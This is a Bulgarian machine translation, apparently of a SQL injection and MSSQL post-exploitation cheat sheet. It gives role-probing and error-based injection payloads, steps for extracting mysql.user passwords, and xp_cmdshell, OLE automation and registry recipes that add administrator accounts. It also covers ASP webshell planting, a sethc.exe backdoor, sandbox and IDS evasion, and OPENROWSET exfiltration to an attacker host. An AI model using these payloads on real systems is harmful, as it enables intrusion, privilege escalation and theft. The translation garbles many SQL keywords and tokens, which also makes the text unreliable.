ПУБЛИЧНО) Запиши на таблицата: формулировка 1: и 1=(Изберете IS_blank>_SRVROLEMEMBER(sysadmin)); – Изявление 2: и 1=(Изберете IS_blank>_SRVROLEMEMBER(serveradmin)); – Изявление 3: и 1=(Изберете IS_blank>_SRVROLEMEMBER(setupadmin)); – Изявление 4: и 1=(Изберете IS_blank>_SRVROLEMEMBER(securityadmin)); – Изявление 5: и 1=(Изберете IS_blank>_SRVROLEMEMBER(securityadmin)); – Оператор 6: и 1=(Изберете IS_blank>_SRVROLEMEMBER(diskadmin)); – Изявление 7: и 1=(Изберете IS_blank>_SRVROLEMEMBER(bulkadmin)); – Изявление 8: и 1=(Изберете IS_blank>_SRVROLEMEMBER(bulkadmin)); – Изречение 9: и 1=(Изберете IS_blank>_MEMBER(db_blank>_owner)); –
Запиши пътя към таблицата: ; Create table dirs(Paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree c:\– и 0<>(изберете топ 1 пътя от директорите)– и 0<>(изберете топ 1 пътя от директорите, където пътищата не са в(@Inetpub))– ; Create table dirs1(Paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web– и 0<>(изберете топ 1 пътя от директора 1)–
Архивирайте базата данни _blank> уеб директория: Изтеглете ; обяви @a sysname; set @a=db_blank>_name(); Архивиране на база данни @a към disk=e:\web\down.bak; –
и 1=(Изберете име на топ 1 от(Изберете топ 12 id, име от sysobjects, където xtype=char(85)) T
Ред по ID desc) и 1=(Изберете Топ 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) от sysobjects) Вижте още
Свързани таблици. и 1=(изберете user_blank>_id от USER_blank>_LOGIN) и 0=(изберете потребител от USER_blank>_LOGIN, където user>1)
-=- пример за wscrip{filter}t.shell -=- обявявам @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out изпълнителен sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
НУЛ, notepad.exe–
обявявам @o int, @f int, @t int @ret int Обяви @line Варчар(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 Exec @ret = sp_blank>_oamethod @f, readline, @line out докато ( @ret = 0 ) Начало печат @line Exec @ret = sp_blank>_oamethod @f, readline, @line out край
обявявам @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, създам AteTextfile, @f излез, C:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>
обявявам @o int @ret int Изпълнител sp_blank>_oacreate Speech.Voicetext, @o exec sp_blank>_oamethod @o, register, NULL, foo, bar Изпълнителен sp_blank>_oasetproperty @o, скорост, 150 изпълнителен sp_blank>_oamethod @o, говори, NULL, всички ваши сървъри за продължения принадлежат на, us, 528 чакане за забавяне 00:00:05
; Declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, регистър, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, говори, NULL, всички ваши сървъри за продължения са наши, 528 чакайте забавяне
00:00:05–
xp_blank>_dirtree приложимото ПУБЛИЧНО разрешение exec master.dbo.xp_blank>_dirtree c: Върнатата информация има две полета: поддиректория, дълбочина. Полета в поддиректорията
Тип символ, дълбочинното поле е оформящото поле. Create Table Dirs(Paths varchar(100), ID int) Изграждане на таблици, таблицата, създадена тук, е свързана с горната xp_blank>_dirtree, с равни полета и един и същ тип. вмъкнете директори exec master.dbo.xp_blank>_dirtree c: Стига да изградим таблица и да дефинираме полетата, върнати от процеса на съхранение, еднакво
Екзекуция! За да постигнем ефекта на писането на таблици, стъпка по стъпка да постигнем информацията, която искаме! Тази инжекция на грешка се базира основно на препълване на MySQL тип данни mysql > SELECT 18446744073709551610 * 2 ; ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(- (1) *
9223372036854775808)' Версия на базата данни за заявки: mysql> SELECT * 2 (if ((SELECT * от (SELECT (версия ()) ) s), 18446744073709551610,
18446744073709551610)); ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * ако (( Изберете ' 5.5 'от
Dual), 18446744073709551610.18446744073709551610)' Вземете името на полето: mysql> SELECT 2 * if((SELECT * от (select * от test.shop) като '' limit 1)>(SELECT * от
test.shop лимит 1), 18446744073709551610, 18446744073709551610);
ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if(((select
'article', 'dealer', 'price' от (изберете 'test'.'shop'.'article' AS
'артикул','тест'.'магазин'.'дилър' AS 'дилър','тест'.'магазин'.'цена' AS 'цена' от
'тест'.'магазин') ограничение 1) > (select
'тест'.'магазин'.'артикул','тест'.'магазин'.'дилър','тест'.'магазин'.'цена' от 'тест'.'магазин'
1)),18446744073709551610,18446744073709551610))' Вземете стойността на полето:
mysql> SELECT 2 * if((SELECT * от (select * от (mysql.user) LIMIT 1) като '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if(((select
'местен хост','рут','*','Y','Y','Y','
Y','Y','Y','Y','Y','Y',','',0,'0,0,''',' ОТ DUAL LIMIT 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Обърнете внимание, че този метод не работи с по-стари версии на Mysql и ще трябва да знаете дължината на съобщението за грешка, тъй като това ще определи
Можеш да получиш колкото време искаш: mysys / my_error.c
/* Максимална дължина на съобщение за грешка. Трябва да се поддържа в синхрон с MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Ако обектът е MariaDB (разклонение на Mysql), може да видите подобно съобщение за грешка, когато опитате горния метод:
mysql> SELECT 2*(if((SELECT * от (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Като решение, този проблем може да бъде решен по следния начин:
mysql> SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a; ГРЕШКА 1690 (22003): BIGINT стойността е извън обхвата в '(('5.5-MariaDB' не е нулев) - -
(9223372036854775808))' Сега нека видим дали можем да направим нашия Вектор малко по-къс
//查询数据库版本
ИЗБЕРЕТЕ 2*(if((SELECT * от (SELECT (версия()))s), 18446744073709551610,
18446744073709551610)) = изберете 1E308*if((select*from(select version())x),2,2)
SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * от (select * от test.shop) като '' limit 1)>(SELECT * от
test.shop лимит 1), 18446744073709551610, 18446744073709551610) = изберете 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * от (select * от (mysql.user) LIMIT 1) като '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user лимит 0),2,2)
//获取指定字段的值 изберете 1E308*if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT
1) лимит 1),2,2)
//获取字段个数
изберете 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
Някои други деформации
SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a изберете 1E308*if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT
1) лимит 1),2,2); => изберете 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a лимит
1),1e308,0); mysql> select (select * от mysql.user)=1; mysql> Select (Select * от mysql.user)in(1);
ГРЕШКА 1241 (21000): Операндът трябва да съдържа 42 колони изберете 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a лимит
1),1e308,0); Изберете if((изберете потребител|| хост|| парола|| file_priv от(select*from mysql.user LIMIT 1)a
ограничение 1),2,2)*1E308 SELECT (i НЕ Е NULL) - -9223372036854775808 ОТ (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ГРЕШКА 1690 (22003): BIGINT неподписана стойност е извън обхвата в '((not('root@localhost')) - ~
(0))' 3. Оценете системата с бази данни ; и (select count(*) от sysobjects)>0 mssql ; и (select count(*) от msysobjects)>0 достъп 4. Параметърът за инжекция е символ 'и [критерии за заявка] и ''=' 5. Няма филтрирани параметри по време на търсенето 'и [критерии за заявка] и '%25'=' 6. Познай базата данни ; и (изберете Count(*) от [име на база данни])>0 7. Познай полето ; и (изберете Count(име на поле) от името на базата данни)>0 8. Познайте дължината на рекорда в полето ; и (изберете топ 1 len (име на полето) от името на базата данни)>0 9. (1) Познайте ASCII стойността на полето (достъп) ; и (изберете топ 1 ASC (среден (име на терена, 1,1)) от името на базата данни)>0 (2) Познайте ASCII стойността на полето (mssql) ; и (изберете топ 1 Unicode(подниз(име на полето, 1,1)) от името на базата данни)>0 10. Структура за тестови разрешения (mssql) ; и 1=(select IS_SRVROLEMEMBER('sysadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('serveradmin')); -- ; и 1=(select IS_SRVROLEMEMBER('setupadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('securityadmin')); -- ; и 1=(изберете IS_SRVROLEMEMBER('diskadmin')); -- ; и 1=(select IS_SRVROLEMEMBER('bulkadmin')); -- ; и 1=(select IS_MEMBER('db_owner')); -- 11. Добавете акаунт за mssql и системата ; изпълнителен master.dbo.sp_addlogin потребителско име; -- ; exec master.dbo.sp_password null, потребителско име, парола; -- ; изпълнителен master.dbo.sp_addsrvrolemember sysadmin потребителско име; -- ; изпълнител master.dbo.xp_cmdshell 'net потребителско име парола /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; Изпълнителен master.dbo.xp_cmdshell 'Net User Name Password /add'; -- ; изпълнителен master.dbo.xp_cmdshell 'потребителско име /add' на администраторите на локалните групи; -- 12. (1) Разгледайте каталога ; Create Table Dirs(Paths varchar(100), ID int) ; Вмъкнете директори exec master.dbo.xp_dirtree 'c:\' ; и (изберете топ 1 пътя от директорите)>0 ; и (изберете топ 1 пътя от директорите, където пътищата не са в ('пътища, получени от предишната стъпка'))>) (2) Разгледайте каталога ; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вмъкнете временен изпълнителен master.dbo.xp_availablemedia; -- Вземи всички текущи дискове ; Вмъкнете в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Вземи списък с поддиректории ; вмъкнете в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Вземи структурата на дървото на директорията за всички поддиректории ; Вмъкнете в temp(id) exec master.dbo.xp_cmdshell 'тип C:\web\index.asp'; -- Вижте съдържанието на файла 13. Съхранени процедури в mssql xp_regenumvalues Коренов ключ на регистъра, дъщерен ключ ; изпълнителен xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' и още
Методът на Recordset за връщане на всички ключови стойности xp_regread Коренов ключ, дъщерен ключ, име на стойността на ключа ; изпълнителен xp_regread 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows
\CurrentVersion','CommonFilesDir' връща стойността на ключа за формулиране xp_regwrite Коренов ключ, детски ключ, име на стойност, тип стойност, стойност Съществуват два типа стойности REG_SZ REG_DWORD за типове знаци и за цели числа ; изпълнителен xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' се записват в регистъра xp_regdeletevalue Коренов ключ, подключ, име на стойността изпълнителен xp_regdeletevalue 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows
\CurrentVersion', 'TestvalueName' за премахване на стойност xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' за изтриване на ключ,
Включи всички стойности под този ключ 14. MSSQL архивиране създава уебшел. Модел на използване създаване на таблица cmd (STR изображение); вмъкнете в cmd(str) стойности ('<% Dim oscrip{filter}t %>'); резервен модел на база данни към disk='c:\l.asp'; 15. MSSQL вградени функции ; и (изберете @@version)>0, за да получите номера на версията на Windows ; и user_name()='dbo', за да се определи дали свързаният потребител на текущата система е SA ; и (изберете user_name())>0 Експлодираха свързаните потребители на текущата система ; и (изберете db_name())>0, за да получите текущо свързаната база данни 16. Кратка уяжина обвивка Модел на използване създаване на таблица cmd (STR изображение); Вмъкнете в cmd(str) стойности ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); Backup модел на база данни към disk='g:\wwwtest\l.asp'; Когато заявявате, използвайте нещо такова:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Вземете всички имена на бази данни, включително системни бази данни –ИЗБЕРЕТЕ име от master.dbo.sysdatabases
– Получаване на всички имена на бази данни, които не са системни –изберете [име] от master.dbo.sysdatabases, където DBId>6 Подреждане по [Име]
– Вземете цялата информация, включително адреса на файла с база данни –изберете * от master.dbo.sysdatabases, където DBId>6 Order By
[Име]
Тази заявка за изказване връща всички потребителски таблици
Изберете * от sysobjects, където xtype='U'
Заявете за цялата информация от таблиците с данни в системата
select * от sysobjects
Виж името на машината Изберете * от sys.servers
Съдържание на колоната изпълнителен master.dbo.xp_subdirs 'C:\'
Изпълнителен master.dbo.xp_dirtree 'C:',1,1 db_owner Разрешенията могат да се прилагат
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Програмен код, написан в webshell
изпълнителен master.dbo.xp_subdirs 'd:\web\www.xx.com'; Изпълнителният sp_makewebtask 'д:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Екзекуцирай, господарю.. xp_enumgroups
Потребители на системата за преминаване
Екзекуцирай, господарю.. xp_getnetname Вземете текущото име на машината
--Изброете фиксираните дискове на сървъра, заедно с наличното пространство за всеки диск DBO Public
Execute
xp_ntsec_enumdomains
-- Създайте акаунт за влизане в MSSQL изпълнителен master.dbo.sp_addlogin име, пропуск; --
-- Посочете домейн името на сървъра xp_ntsec_enumdomains // Машинно име //dbo публично
-- Спиране или стартиране на услуга xp_servicecontrol 'stop', 'schedule' //schedule е името на услугата //dbo
--Използвай PID
Спиране на изпълняваща се програма xp_terminate_process 123 //123 е PID //dbo
-- Само поддиректории в директория са изброени dbo.xp_subdirs 'C:' //dbo
SQL сървър Методът на откриване на xp_cmdshell през 2005 г. EXEC sp_configure "показване на разширени опции", 1; ПРЕКОНФИГУРИРАНЕ; EXEC
sp_configure 'xp_cmdshell', 1; ПРЕКОНФИГУРИРАНЕ;
SQL2005 Open 'OPENROWSET' Поддържани методи: Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; изпълнителен sp_configure 'Ad Hoc
Разпределени запитвания',1; ПРЕКОНФИГУРИРАНЕ;
SQL2005 да се активира поддръжката на 'sp_oacreate': Изпълнителен sp_configure 'Покажи разширени опции', 1; ПРЕКОНФИГУРИРАНЕ; Изпълнителен директор
sp_configure "Процедури за старата автоматизация", 1; ПРЕКОНФИГУРИРАЙТЕ
Как да активирам xp_cmdshell в SQL Server 2008
-- Да позволи промяна на разширени опции. EXEC
sp_configure 'покажи разширени опции', 1 ВЪРВИ -- За актуализиране на текущо конфигурираната стойност за
Разширени опции. ПРЕКОНФИГУРИРАЙТЕ ВЪРВИ -- За да активира функцията. EXEC sp_configure 'xp_cmdshell', 1 ВЪРВИ -- Към
Актуализирайте текущата конфигурирана стойност за тази функция. ПРЕКОНФИГУРИРАЙТЕ ВЪРВИ
exec xp_cmdshell 'ipconfig'
Днес исках да сменя паролата за SA на сървъра на базата данни, но изведнъж забравих, затова трябваше да отворя анализатора на заявки с помощта на други акаунти, за да сменя паролата за SA
Много е просто:
Изпълнение: sp_password Null, 'teracypwd, 'sa' Задайте паролата за SA на "teracypwd"
След успешна екзекуция
Има "Команда(и) успешно изпълнени." Добре!
В разрешението за база данни отделете метода за получаване на IP адреса на сървъра на MSSQL база данни
1. Local NC слуша NC -VVLP 80
2.; вмъкнете в
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Мрежа=DBMSSOCN; Адрес=вашият IP адрес, 80; ', 'избери * от
dest_table') изберете * от src_table; --
Изберете * от OpenRowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','Изберете потребител; ')
Импорт и експорт от база данни
/*不同服务器数据库之间的数据操作*/
--Създаване на линк сървър Изпълнителен sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Име или IP адрес на отдалечен сървър' изпълнителен sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'потребителско име', 'парола'
--пример за заявка select * от име на ITSV.database name.dbo.table
--пример за импорт select *
в таблица от ITSV.databasename.dbo.tablename
--Изтрийте свързания сървър, ако вече не се използва в бъдеще изпълнителен sp_dropserver 'ITSV',
'droplogins'
-- Свързване към отдалечени/LAN данни (openrowset/openquery/opendatasource) --1、openrowset
--пример за заявка select *
от openrowset( 'SQLOLEDB ', 'име на sql сървър'; "Потребителско име"; 'password', име на база данни.dbo.table name)
-- Генериране на локална таблица изберете * в таблицата от openrowset( 'SQLOLEDB ', 'име на SQL сървър'; "Потребителско име"; "Парола", номер
Според името на базата данни.dbo. име на таблицата)
-- Импортирайте локалната таблица в отдалечената таблица вмъкнете openrowset( 'SQLOLEDB', 'име на sql сървър'; "Потребителско име"; "Пароли", бази данни
name.dbo.table name) Изберете *от локалната таблица
-- Актуализиране на локалните таблици Актуализация Б набор b. колона A = a от openrowset( 'SQLOLEDB ', 'име на sql сървър'; "Потребителско име"; '
парола ', име на базата данни .dbo.table name) като вътрешна присъединена локална таблица b на a.column1=b.column1
--openquery Използването изисква създаване на връзка
--Първо, създай връзка, за да създадеш сървър за връзки изпълнителен sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'име или IP адрес на отдалечен сървър' --Разпитвай select * ОТ openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Импортирайте локалната таблица в отдалечената таблица insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Изберете * от местно
Таблица --обнови локалната таблица Актуализация Б набор b. колона B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
Като вътрешна съединителна локална таблица b върху a. колона A=b. колона A
--3、opendatasource/openrowset SELECT * ОТ
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; User ID=Име на вход; Парола=Парола '
).test.dbo.roy_ta -- Импортирайте локалната таблица в отдалечената таблица
Изтриване и възстановяване на xp_cmdshell
Начини за възстановяване xp_cmdshell Изтрийте разширената съхранена процедура xp_cmdshell
Формулировка Изпълнителен sp_dropextendedproc 'xp_cmdshell'
Възстановяване на SQL изявлението на cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Изпълнителен директор
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; изберете брой(*) от
master.dbo.sysobjects, където xtype='x' и Резултатът за връщане е 1 и е ОК
В противен случай трябва да качите c:\inetput\web
\xplog70.dll по-късно Изпълнителен master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Ако го изтриеш по следния начин Процедура за пускане sp_addextendedproc Процедура за пускане sp_oacreate Изпълнителен директор
sp_dropextendedproc 'xp_cmdshell'
Можете да го възстановите с следното изявление dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
По този начин тя може да бъде възстановена директно, независимо дали sp_addextendedproc съществува или не
1、 Използвайте xp_cmdshell: изпълнител master.dbo.xp_cmdshell "net user admin admin /add" Изпълнителен директор
master.dbo.xp_cmdshell "администратори на мрежови локални групи admin /add"
В xp_cmdshell случай използвайте sp_oacreate, за да следвате sp_oamethod: Обявявам @object int Изпълнителен директор
sp_oacreate 'wscrip{filter}t.Shell', @object out Изпълнителен sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
Администратори на локални групи admin /add'
Забележка: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Използвайте sp_oacreate и FSO обявявам @o int Изпълнителен sp_oacreate
'scrip{filter}ting.filesystemobject', @o out Exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; Декларирай @oo int Изпълнителен директор
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Изпълнителен sp_oamethod @oo,
'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Използвайте xp_regwrite (db_owner, изисква се рестарт): Изпълнителен master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' Изпълнителен master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. Използвайте sp_add_job: Изпълнителен директор
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Използвайте MSDB Exec sp_delete_job
null, 'x' Изпълнителен sp_add_job 'X' Изпълнителен sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin /add' Изпълнителен sp_add_jobserver
Null, 'x', @@servername изпълнителен sp_start_job 'x'
Много SA са успели в много машини директно с пясъчния режим, но аз никога не съм го практикувал и не знам какъв е процентът на успех. Когато удължението бъде премахнато, първо
Възстановете паметта за четене и запис в регистъра. DBCC AddExtendedProc ("xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Поправен е защитеният режим на пясъчника Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Вижте дали стойността 'SandBoxMode' се е обърнала на 0.
изпълнителен master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'СОФТУЕР
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Накрая, извикай пясъчника режим Изберете * от OpenRowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Ако режимът за защита на пясъчника не е "изключен", се докладва грешка: Сървър: Msg 7357, Ниво 16, Състояние 2, Линия 1
Не успя да обработи обекта 'select shell("cmd.exe /c net user passwd /add")'. OLE DB предоставя програми
Предговорът 'microsoft.jet.oledb.4.0' посочва, че в обекта няма колони.
Проследяване на грешки в OLE DB [Грешка извън интерфейса: доставчикът на OLE DB не може да обработи обекта, тъй като обектът
има nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Ако .mdb не съществува или входният път е неправилен Сървър: Msg 7399, ниво 16, състояние 1, линия 1
OLE DB provider 'microsoft.jet.oledb.4.0' грешка. [Отговорено съобщение от OLE/DB доставчика:
Файлът 'C:\WINDOWS\system32\ias\dnary1.mdb' не е намерен. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Ако по време на процеса на въвеждане има повече празни места, ще бъде докладвана и грешка. Обърнете специално внимание на това, много хора директно търсят статии онлайн
Поставете го и го изпълнете. Сървър: Msg 7357, Ниво 16, Състояние 2, Линия 1 Не успя да обработи обекта 'select'
shell("cmd.exe /c net user user, passwd /add")'。 Доставчикът на OLE DB 'microsoft.jet.oledb.4.0' посочва, че в обекта няма колони.
Проследяване на грешки в OLE DB [Грешка извън интерфейса: OLE DB доставчикът не може да обработи обекта, тъй като обектът има
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c потребител на мрежата
passwd /add")']。
4、 Ако разрешенията на mdb и cmd.exe разрешения са грешни, ще възникне и проблемът. Когато разрешенията на MDB са неправилни, Сървър: Елиминирай
Лихва 7320, ниво 16, щат 2, линия 1
Той не можа да отговори OLE DB provider 'Microsoft.Jet.OLEDB.4.0' изпълнява заявката. [OLE/DB доставчикът е върнат
message: 未知] OLE DB Error Trace [OLE/DB provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Ако разрешението за мрежата е неправилно, няма подсказка.
Последният начин за повишаване на авторитета е да се качат системните ias.mdb и cmd.exe под текущата уеб директория, net.exe три файла.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe потребител passwd /add")') Успешно добавете компютърен потребител.
Разделянето на cmdshell заобикаля IDS Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' Обяви
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Редакция: изместване на отвличане на регистъра Изпълнителен майстор... xp_regwrite 'HKEY_LOCAL_MACHINE','СОФТУЕР\Microsoft\Windows NT
\ТекущаВерсия\Опции за изпълнение на файл на изображение\sethc.exe','дебъгер','REG_sz','c:\windows
\system32\cmd.exe on'; --
Направете заявка към linkserver-а отбран
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess от master.dbo.sysservers отбран
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess от master.dbo.sysservers
Query linkserver2 Изберете различно име на хоста,db_name(dbid),net_address,loginame,program_name от
Учителю.. sysprocesses
Направете заявка към linkserver-а и други влезли потребители изберете * от [192.168.1.1].master.dbo.syslogins
Query LinkServer Всички бази данни select * от linkedSrvWeb.master.dbo.sysdatabases
Изпълнение на разширено съхранение в LinkServer Exec [IP].master.dbo.xp_cmdshell
Заявете всички таблици на linkserver-а Изберете * от [ip].master.dbo.sysobjects
Изберете * от OpenRowset
('sqloledb','server=IP; uid=потребител; pwd=парола','изберете @@version')
select * от openquery([LINKSERVER)
име],'изберете @@version')
select * от openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin''')')
select * от openquery(GM_SERVER,'select * от sysobjects, където xtype = (''U'')')
изберете * от
openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')
Изберете * от OpenQuery(toatdeWeb,'Select
srvname от master.dbo.sysservers')
Вмъкнете в opendatasource
('sqloledb','server=222.241.95.12; uid=scd; pwd=a123520; database=hack520').hack520.dbo.zhu select
Име от master.dbo.sysdatabases create database hack520 Create TABLE zhu(name nvarchar(256)
null); Създайте ТАБЛИЦА J8(id int NULL, име nvarchar(256) null);
Select * от openQuery
(toatdeweb, изключи FMTONLY изпълнителния master.dbo.xp_cmdshell ''net user''')
Изпълнителен майстор... xp_dirtree
'c:\',1,1 Изпълнете директория с заявки
exec links.master.. xp_cmdshell 'ipconfig'
Изберете * от OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Свържи mysql Select * от Mem_DB. UserDB.dbo.AdminList
ИЗПЪЛНИТЕЛЕН МАЙСТОР... XP_dirtree 'c:\',1,1
Изпълнител
master.dbo.xp_cmdshell 'дир'
Изберете брой(*) от [индикация] Запитай колко данни има в текущата таблица
Изберете различно име на хост,db_name(dbid),net_address,loginame,program_name
От господаря.. sysprocesses
Изберете * от gameDB01. Server01.dbo.cabal_character_table, където име='
Свиня
Когато го изтриеш, пише: Базата данни се използва и не може да бъде изтрита.
Кликнете върху базата данни, която искате да изтриете, за да отворите Event Viewer.
Входни данни:
Употреба
Господарю Върви След това въведете следното: Обяви @d Вархар (8000) set @d= ' ' изберете @d=@d+ ' убий
'+cast (Спид като Варчар)+Чар(13) От господаря.. sysprocesses, където dbid=db_id('име на библиотеката') exec(@d) -- Използвайте код, за да изтриете първо процеса, който се свързва с тази база данни
MSSQL управлява Oracle чрез LinkServer
1) Инсталирайте Oracle на сървъра SQL_SERVER 2005
9i клиент. Да предположим, че инсталирам в директорията C:\ora92i\. Ако D: е NTFS дякъл, трябва да зададеш инсталираната директория на ORACLE като използвана
Абонатите имат право да стартират, добавят и изтриват.
2) Конфигурирайте файла C:\ora92i\network\ADMIN\tnsnames.ora. (Следващият червен текст е пример за конфигурация)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(АДРЕС = (ПРОТОКОЛ = TCP)(ХОСТ = 192.168.0.11)(ПОРТ= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Изпълнете следната команда в DOS режим, за да потвърдите, че клиентът ORACLE е инсталиран правилно.
Потребител/password@ORCL на sqlplus
4) Отворете стартиране - Контролен панел - Услуги и потвърдете, че услугата за разпределен координатор на транзакции е стартирана.
